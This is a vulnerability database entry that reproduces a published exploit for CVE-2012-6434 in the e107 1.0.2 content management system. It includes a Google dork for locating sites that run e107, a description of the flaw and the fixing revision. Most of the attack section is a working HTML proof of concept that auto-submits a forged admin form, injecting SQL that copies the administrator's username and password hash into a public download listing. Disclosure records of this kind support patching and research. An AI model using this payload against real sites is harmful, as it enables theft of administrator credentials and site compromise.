e107 1.0.2 - CSRF Resulting in SQL Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType

e107 v1.0.2 CSRF & SQL Injection in Admin download.php pag

Reporter	Title	Published	Views	Family All 11
0day.today	e107 v1.0.2 CSRF Resulting in SQL Injection Vulnerability	2 Jan 201300:00	–	zdt
Circl	CVE-2012-6434	2 Jan 201300:00	–	circl
CVE	CVE-2012-6434	3 Jan 201311:00	–	cve
Cvelist	CVE-2012-6434	3 Jan 201311:00	–	cvelist
Exploit DB	e107 1.0.2 - SQL Injection (via Cross-Site Request Forgery)	2 Jan 201300:00	–	exploitdb
EUVD	EUVD-2012-6287	7 Oct 202500:30	–	euvd
exploitpack	e107 1.0.2 - SQL Injection (via Cross-Site Request Forgery)	2 Jan 201300:00	–	exploitpack
NVD	CVE-2012-6434	3 Jan 201311:54	–	nvd
Packet Storm	e107 1.0.2 Administrator Cross Site Request Forgery	1 Jan 201300:00	–	packetstorm
Prion	Cross site request forgery (csrf)	3 Jan 201311:54	–	prion


                                                # Exploit Title: e107 v1.0.2 Administrator CSRF Resulting in SQL Injection
# Google Dork: intext:&#34;This site is powered by e107&#34;
# Date: 01/01/13
# Exploit Author: Joshua Reynolds
# Vendor Homepage: http://e107.org
# Software Link: http://sourceforge.net/projects/e107/files/e107/e107%20v1.0.2/e107_1.0.2_full.tar.gz/download
# Version: 1.0.2
# Tested on: BT5R1 - Ubuntu 10.04.2 LTS
# CVE: CVE-2012-6434
-----------------------------------------------------------------------------------------
Description:

Cross-Site Request Forgery vulnerability in the e107_admin/download.php page, which is also vulnerable to SQL injection in the POST form.
The e-token or ac tokens are not used in this page, which results in the CSRF vulnerability. This in itself is not a major security vulnerability but when done in conjunction with a SQL injection attack it can result in complete information disclosure.

The parameters which are vulnerable to SQL injection on this page include: download_url, download_url_extended, download_author_email, download_author_website, download_image, download_thumb, download_visible, download_class.

The following is an exploit containing javascript code that submits a 
POST request on behalf of the administrator once the page is visited. It contains a SQL injection that would provide the username and password (in MD5) of the administrator to be added to the Author Name of a publicly available download.
------------------------------------------------------------------------------------------
Exploit:

&#60;html&#62;
&#60;body onload=&#34;document.formCSRF.submit();&#34;&#62;
	&#60;form method=&#34;POST&#34; name=&#34;formCSRF&#34; action=&#34;http://[site]/e107/e107102/e107_admin/download.php?create&#34;&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;cat_id&#34; value=&#34;1&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;download_category&#34; value=&#34;2&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;download_name&#34; value=&#34;adminpassdownload&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;download_url&#34; value=&#34;test.txt&#39;, (select concat(user_loginname,&#39;::&#39;,user_password) from e107_user where user_id = &#39;1&#39;), &#39;&#39;, &#39;&#39;, &#39;&#39;, &#39;&#39;, &#39;0&#39;, &#39;2&#39;, &#39;2&#39;, &#39;1352526286&#39;, &#39;&#39;, &#39;&#39;, &#39;2&#39;, &#39;0&#39;, &#39;&#39;, &#39;0&#39;, &#39;0&#39; ) -- -&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;download_url_external&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;download_filesize_external&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;download_filesize_unit&#34; value=&#34;KB&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;download_author&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;download_author_email&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;download_author_website&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;download_description&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;download_image&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;download_thumb&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;download_datestamp&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;download_active&#34; value=&#34;1&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;download_datestamp&#34; value=&#34;10%2F11%2f2012+02%3A47%3A47%3A28&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;download_comment&#34; value=&#34;1&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;download_visible&#34; value=&#34;0&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;download_class&#34; value=&#34;0&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;submit_download&#34; value=&#34;Submit+Download&#34;/&#62;
	&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;
------------------------------------------------------------------------------------------
Fix:

This bug has been fixed in the following revision: r13058
------------------------------------------------------------------------------------------
Shout outs: Red Hat Security Team, Ms. Umer, Dr. Wu, Tim Williams, friends, & family.

Contact: 
Mail: [email protected]
Blog: infosec4breakfast.com
Twitter: @jershmagersh
Youtube: youtube.com/user/infosec4breakfast

01 Jul 2014 00:00Current

6.6Medium risk

Vulners AI Score6.6

EPSS0.00195